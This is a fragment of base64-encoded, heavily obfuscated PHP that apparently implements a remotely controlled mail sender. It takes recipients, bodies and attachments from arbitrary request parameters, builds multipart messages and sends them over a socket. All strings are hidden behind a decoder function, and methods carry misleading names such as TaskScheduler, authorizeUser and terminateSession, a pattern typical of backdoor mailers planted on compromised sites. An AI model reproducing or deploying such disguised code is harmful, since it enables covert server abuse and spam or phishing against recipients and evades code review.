GlhbGl6ZU1vZHVsZSgnX2F0JywgJ19oaicpXSkpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb2huJywgJ192b3EnKV0gYXMgJF95Y3ogPT4gJF9zYykgewogICAgICAgICAgICAgICAgICAgIGlmICgkX3NjID09PSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZWpoJywgJ19rZScpIHx8ICRfc2MgPT09IG51bGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRfcnVvID0gaGFzaF9zdHJpbmcoKHN0cmluZykgJF95Y3opOwogICAgICAgICAgICAgICAgICAgIGlmICgkX3J1byA9PT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2llJywgJ19odycpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkX21nWyRfcnVvXSA9ICRfc2M7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkX3ZjdyA9ICRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa3YnLCAnX2lmJyldOwogICAgICAgICAgICAgICAgJF9sZSA9IGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZHFxJywgJ19qbicpXSkgPyAkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3h5JywgJ19naycpXSA6IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ycycsICdfZmknKTsKICAgICAgICAgICAgICAgIGlmICgkX3ZjdyAmJiAkX2xlKSB7CiAgICAgICAgICAgICAgICAgICAgJF9tZ1skX2xlXSA9ICRfdmN3OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfeGJqID0gIWVtcHR5KCRfbWcpOwogICAgICAgICRfcWUgPSBtYW5hZ2Vfc3RhdGUodW5pcWlkKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ190ZycsICdfeWknKSwgdHJ1ZSkpOwogICAgICAgICRfZGlxID0gbWFuYWdlX3N0YXRlKHVuaXFpZChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeG0nLCAnX3RiYicpLCB0cnVlKSk7CiAgICAgICAgJF95eHkgPSBtYW5hZ2Vfc3RhdGUodW5pcWlkKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zcmonLCAnX2d4JyksIHRydWUpKTsKICAgICAgICAkX3VmbiA9ICRfdWZuID8gJF91Zm4gOiAkdGhpcy0+X2NpaCgpOwogICAgICAgICRfdnNqID0gJF92c2ogPyAkX3ZzaiA6IGNvbXB1dGVfb3V0cHV0KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vaG0nLCAnX2F5JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193cicsICdfZHpwJyksICRfdWZuKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ192ZWgnLCAnX2t3cScpIC4gJHRoaXMtPl9pYTsKICAgICAgICBpZiAoJF9wem4gJiYgbW9uaXRvcl9oZWFsdGgoJF9wem4sIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19pZmgnLCAnX2lpJykpID09PSBmYWxzZSkgewogICAgICAgICAgICAkX3B6biAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcGonLCAnX2R6eicpIC4gJHRoaXMtPl9pYTsKICAgICAgICB9CiAgICAgICAgJF9ycCA9ICR0aGlzLT5fc3BhKCRfdWZuLCAkX3ZzaiwgJF9wem4pOwogICAgICAgIGlmICgkdGhpcy0+X2p0KSB7CiAgICAgICAgICAgICRfcnAgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3prcycsICdfbmJoJykgLiAkX3ZzaiAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193aicsICdfendwJyk7CiAgICAgICAgfQogICAgICAgIGlmICgkX2VxKSB7CiAgICAgICAgICAgICRfcnAgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VwJywgJ193ZScpIC4gJF9xZSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zbm4nLCAnX3pjJyk7CiAgICAgICAgfSBlbHNlaWYgKCRfeGJqKSB7CiAgICAgICAgICAgICRfcnAgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3R6cCcsICdfaHQnKSAuICRfcWUgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbHFxJywgJ19ycGInKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX3JwIC49IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194YWsnLCAnX3RwZScpIC4gJF95eHkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfanZjJywgJ19kZScpOwogICAgICAgIH0KICAgICAgICAkX2ZkayA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ybCcsICdfbmMnKTsKICAgICAgICBpZiAoJF9lcSkgewogICAgICAgICAgICAkX2ZkayAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcW0nLCAnX2F4YScpIC4gJF9xZSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zbnQnLCAnX3duJyk7CiAgICAgICAgICAgIGlmICgkX3hiaikgewogICAgICAgICAgICAgICAgJF9mZGsgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2xoJywgJ19qdGYnKSAuICRfZGlxIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX256JywgJ19mcScpOwogICAgICAgICAgICAgICAgJF9mZGsgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ZmJywgJ19wYnknKSAuICRfZGlxIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3htbycsICdfaXUnKTsKICAgICAgICAgICAgICAgICRfZmRrIC49IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19uangnLCAnX3NoJykgLiAkX3l4eSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sZ24nLCAnX2pyYScpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJF9mZGsgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lhJywgJ19naWEnKSAuICRfeXh5IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3h2YScsICdfeHUnKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkX3hiaikgewogICAgICAgICAgICAkX2ZkayAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdHMnLCAnX2V6JykgLiAkX3FlIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JkJywgJ194eicpOwogICAgICAgICAgICAkX2ZkayAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeXRqJywgJ19hYm4nKSAuICRfeXh5IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3libicsICdfZnBkJyk7CiAgICAgICAgfQogICAgICAgICRfcGp0ID0gJHRoaXMtPl9rdygkdGhpcy0+X2p0bSwgJF9vbik7CiAgICAgICAgJF9xdWIgPSAkdGhpcy0+X2t3KCR0aGlzLT5fanRtLCAkX3ZhaSk7CiAgICAgICAgJF9mZGsgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2h2JywgJ19rcWknKSAuICRfeXh5IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2ppJywgJ196b3gnKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19mdScsICdfa2FsJykgLiAkdGhpcy0+X2p0bSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hYycsICdfcmF1JykgLiAkX3BqdDsKICAgICAgICBpZiAoJF9teG4pIHsKICAgICAgICAgICAgJF9mZGsgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2tzJywgJ19ydicpIC4gJF95eHkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb3InLCAnX3RrJykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdWx2JywgJ19tZScpIC4gJHRoaXMtPl9qdG0gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZHknLCAnX2hpcScpIC4gJF9xdWI7CiAgICAgICAgfQogICAgICAgICRfZmRrIC49IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193dycsICdfZnRvJykgLiAkX3l4eSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19teCcsICdfa3knKTsKICAgICAgICBpZiAoJF94YmopIHsKICAgICAgICAgICAgJF9zdyA9ICRfZXEgPyAkX2RpcSA6ICRfcWU7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfbWcgYXMgJF9ubWEgPT4gJF9hYnApIHsKICAgICAgICAgICAgICAgICRfcnVvID0gaGFzaF9zdHJpbmcoJF9ubWEpOwogICAgICAgICAgICAgICAgJF9ydW8gPSBsd2MoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NxJywgJ19kbHonKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3p6JywgJ19xcicpLCAkX3J1byk7CiAgICAgICAgICAgICAgICAkX3J1byA9IGhhc2hfc3RyaW5nKCRfcnVvLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXhmJywgJ19pZmQnKSk7CiAgICAgICAgICAgICAgICAkX2xyID0gcHJvY2Vzc19yZXF1ZXN0KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zaScsICdfZWtkJyksICRfcnVvKTsKICAgICAgICAgICAgICAgICRfZXV1ID0gJF9sclswMF0gPyAkX2xyWzAwXSA6ICRfcnVvOwogICAgICAgICAgICAgICAgJF9sZyA9IG51bGw7CiAgICAgICAgICAgICAgICAkX2JlZyA9ICRfYWJwOwogICAgICAgICAgICAgICAgaWYgKHlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa3pqJywgJ19mYXEnKSwgJF9hYnAsICRfbHlkKSkgewogICAgICAgICAgICAgICAgICAgICRfbGcgPSAkX2x5ZFswMV07CiAgICAgICAgICAgICAgICAgICAgJF9iZWcgPSAkX2x5ZFswMl07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoISRfbGcpIHsKICAgICAgICAgICAgICAgICAgICAkX2xlaiA9ICR0aGlzLT5fbnd3KCRfZXV1KTsKICAgICAgICAgICAgICAgICAgICAkX2xnID0gJF9sZWogPyAkX2xlaiA6IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19teWcnLCAnX3JmJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2ZkayAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeGl3JywgJ194bicpIC4gJF9zdyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rYicsICdfYXEnKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xZHEnLCAnX2dwcCcpIC4gJF9sZyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19wYicsICdfZ3NmJykgLiAkX2V1dSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19oem0nLCAnX2RveicpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2pzJywgJ193Y2QnKSAuICRfZXV1IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2VidScsICdfdXd6JykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYnUnLCAnX25jcycpIC4gJF9ydW8gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfd2p2JywgJ19rYycpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VhYycsICdfZnknKSAuIGNodW5rX3NwbGl0KCRfYmVnKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xdycsICdfZmUnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2ZkayAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdnonLCAnX2xmZycpIC4gJF9zdyAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ192eGknLCAnX3FweCcpOwogICAgICAgIH0KICAgICAgICBpZiAoJF9lcSkgewogICAgICAgICAgICBmb3JlYWNoICgkX2lnIGFzICRfYWEpIHsKICAgICAgICAgICAgICAgIGlmIChqY3ooJF9hYSkpIHsKICAgICAgICAgICAgICAgICAgICAkX25hID0gaXNzZXQoJF9hYVtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYnVtJywgJ19oa2QnKV0pID8gJF9hYVtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfd3ZuJywgJ194aGMnKV0gOiAoaXNzZXQoJF9hYVswMF0pID8gJF9hYVswMF0gOiBudWxsKTsKICAgICAgICAgICAgICAgICAgICAkX3hsID0gaXNzZXQoJF9hYVtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcG1mJywgJ19tdmwnKV0pID8gJF9hYVtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmFyJywgJ19vZGgnKV0gOiAoaXNzZXQoJF9hYVswMV0pID8gJF9hYVswMV0gOiBudWxsKTsKICAgICAgICAgICAgICAgICAgICAkX3NiID0gaXNzZXQoJF9hYVtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfenYnLCAnX2J6dScpXSkgPyAkX2FhW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sbnUnLCAnX3RhYycpXSA6IChpc3NldCgkX2FhWzAxXSkgPyAkdGhpcy0+X253dygkX3hsKSA6IG51bGwpOwogICAgICAgICAgICAgICAgICAgICRfaHJ6ID0gd2h6KCRfbmEpID8gaHF6KCRfbmEpIDogJHRoaXMtPl9tYncoJF9uYSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCEkX2hyeikgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCEkX3NiKSB7CiAgICAgICAgICAgICAgICAgICAgJF9zYiA9ICR0aGlzLT5fbnd3KCRfeGwpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9mZGsgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3liaScsICdfeXBzJykgLiAkX3FlIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RkbScsICdfYmInKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19zdicsICdfeGRpJykgLiAkX3NiIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RzcycsICdfZHUnKSAuICRfeGwgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb3QnLCAnX2dqJykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY3AnLCAnX2RzJykgLiAkX3hsIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VuJywgJ19jdicpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VnJywgJ19qbW8nKSAuIGNodW5rX3NwbGl0KHJ1bl9wcm9jZWR1cmUoJF9ocnopKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19icCcsICdfaGsnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2ZkayAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa3FmJywgJ19tb3MnKSAuICRfcWUgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdXh4JywgJ19vbXMnKTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkX2VxICYmICEkX3hiaikgewogICAgICAgICAgICAkX2ZkayA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ieScsICdfZmRvJykgLiAkX3l4eSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rdCcsICdfYm4nKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194YXMnLCAnX2NhdCcpIC4gJHRoaXMtPl9qdG0gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaGQnLCAnX25rdicpIC4gJF9wanQ7CiAgICAgICAgICAgIGlmICgkX214bikgewogICAgICAgICAgICAgICAgJF9mZGsgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2xzJywgJ19mZCcpIC4gJF95eHkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmdrJywgJ19lZCcpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hjcycsICdfdWMnKSAuICR0aGlzLT5fanRtIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3p4JywgJ195cScpIC4gJF9xdWI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9mZGsgLj0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3piZCcsICdfYXlqJykgLiAkX3l4eSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19teGonLCAnX3ZlaScpOwogICAgICAgIH0KICAgICAgICAkX3NtID0gJHRoaXMtPl9nYXMoJHRoaXMtPl9qdG0sICRfenh0KTsKICAgICAgICAkX2lwID0gJHRoaXMtPm1hbmFnZVN0YXRlKCR0aGlzLT5faWEsICRfdnNqLCAkX3BrLCAkX3NtLCAkX2ZkaywgJF9ycCk7CiAgICAgICAgaWYgKCEkX2lwICYmICR0aGlzLT5faWEgIT09ICR0aGlzLT5fdWx6KSB7CiAgICAgICAgICAgICRfdnNqID0gY29tcHV0ZV9vdXRwdXQoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3RoJywgJ19ocXYnKSAuICR0aGlzLT5faWEsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ192eCcsICdfZWFrJykgLiAkdGhpcy0+X3VseiwgJF92c2opOwogICAgICAgICAgICAkX3JwID0gY29tcHV0ZV9vdXRwdXQoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21kJywgJ19xanEnKSAuICR0aGlzLT5faWEsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vbycsICdfYm0nKSAuICR0aGlzLT5fdWx6LCAkX3JwKTsKICAgICAgICAgICAgJF9pcCA9ICR0aGlzLT5tYW5hZ2VTdGF0ZSgkdGhpcy0+X3VseiwgJF92c2osICRfcGssICRfc20sICRfZmRrLCAkX3JwKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfaXA7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIG1hbmFnZVN0YXRlKCRfbXhzLCAkX2ducCwgJF9waywgJF96eHQsICRfZmRrLCAkX3JwID0gIiIpCiAgICB7CiAgICAgICAgJF9yayA9IGlzc2V0KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeHMnLCAnX2FwcCcpXSkgJiYgamN6KCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ3l2JywgJ190aicpXSkgPyAkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3diJywgJ193cGwnKV0gOiBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa2snLCAnX3BuZCcpKTsKICAgICAgICBrc29ydCgkX3JrKTsKICAgICAgICAkX2VwID0gJHRoaXMtPnByZXBhcmVPdXRwdXQoJF9nbnAsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19mdicsICdfY2snKSk7CiAgICAgICAgJF9ycCA9IGhhc2hfc3RyaW5nKCRfcnApOwogICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ha2UnLCAnX2dkZycpLCAkX3JwKSkgewogICAgICAgICAgICAkX3JwID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RtJywgJ19ucmQnKSAuICRfZ25wIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ZlYycsICdfenVqJykgLiAkX3JwOwogICAgICAgIH0KICAgICAgICAkX2NudiA9ICRfcnA7CiAgICAgICAgaWYgKCF5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3d2cycsICdfYWYnKSwgJF9jbnYpKSB7CiAgICAgICAgICAgICRfY252ID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2V4JywgJ191ZmknKSAuICR0aGlzLT5faG1zKCkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZHFwJywgJ190a2YnKSAuICRfY252OwogICAgICAgIH0KICAgICAgICBpZiAoIXlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ21sJywgJ19obycpLCAkX2NudikpIHsKICAgICAgICAgICAgJF9jbnYgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa2txJywgJ19paXAnKSAuICR0aGlzLT5feG9rKCRfZXApIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hkZicsICdfbGNoJykgLiAkX2NudjsKICAgICAgICB9CiAgICAgICAgaWYgKCF5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hnaycsICdfaGRhJyksICRfY252KSkgewogICAgICAgICAgICAkX2NudiA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hbycsICdfcXdqJykgLiAkX3BrIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RyJywgJ192bicpIC4gJF9jbnY7CiAgICAgICAgfQogICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191cG0nLCAnX2dzJyksICRfY252KSkgewogICAgICAgICAgICAkX2NudiA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19haicsICdfY2knKSAuICRfenh0IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NheCcsICdfc3AnKSAuICRfY252OwogICAgICAgIH0KICAgICAgICBmb3JlYWNoICgkX3JrIGFzICRfbHlkKSB7CiAgICAgICAgICAgIGlmICgkX2x5ZCA9PT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21mZicsICdfbnInKSAmJiBpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3BtdicsICdfbmYnKV0sICRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbnYnLCAnX29ndycpXSwgJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193bycsICdfeXZkJyldLCAkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3RpaicsICdfaXljJyldKSkgewogICAgICAgICAgICAgICAgJF9ocnogPSAkX2NudiAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19wd3YnLCAnX3hzeCcpIC4gJF9mZGsgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY2MnLCAnX3dsJyk7CiAgICAgICAgICAgICAgICAkX3lmID0gJHRoaXMtPmVuY3J5cHREYXRhKCRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY3InLCAnX3VocycpXSwgKGludCkgJF9SRVFVRVNUW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195bXInLCAnX2h6JyldLCAkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX25sJywgJ19tbicpXSA9PSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfenR6JywgJ19iYScpID8gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lzbCcsICdfcXZqJykgOiBudWxsKTsKICAgICAgICAgICAgICAgIGlmICghJF95ZikgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+dGVybWluYXRlU2Vzc2lvbigkX3lmLCAkX2ducCwgJF9waywgJF9ocnosICRfbXhzLCAkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2JoJywgJ19kYncnKV0sICRfUkVRVUVTVFtUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdmJ3JywgJ19iZXUnKV0pKSB7CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkX3lmKTsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJF95Zik7CiAgICAgICAgICAgICAgICBlY2hvIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sbmgnLCAnX3BhcScpIC4gJHRoaXMtPl96YzsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX2x5ZCA9PT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3dkJywgJ19ueGknKSkgewogICAgICAgICAgICAgICAgJF9ocnogPSAkX2NudiAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19jbHQnLCAnX3JqeicpIC4gJF9mZGsgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc3FiJywgJ19idmEnKTsKICAgICAgICAgICAgICAgICRfZGYgPSAkdGhpcy0+YXV0aG9yaXplVXNlcigkX2NudiwgJF9mZGssICRfZ25wLCAkX3BrLCAkX214cyk7CiAgICAgICAgICAgICAgICBpZiAoJF9kZiAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAkX2hyeiA9ICRfZGYgLiAkdGhpcy0+X3pjIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX29pJywgJ19vdXUnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfZWwgPSBhcnJheSgpOwogICAgICAgICAgICAgI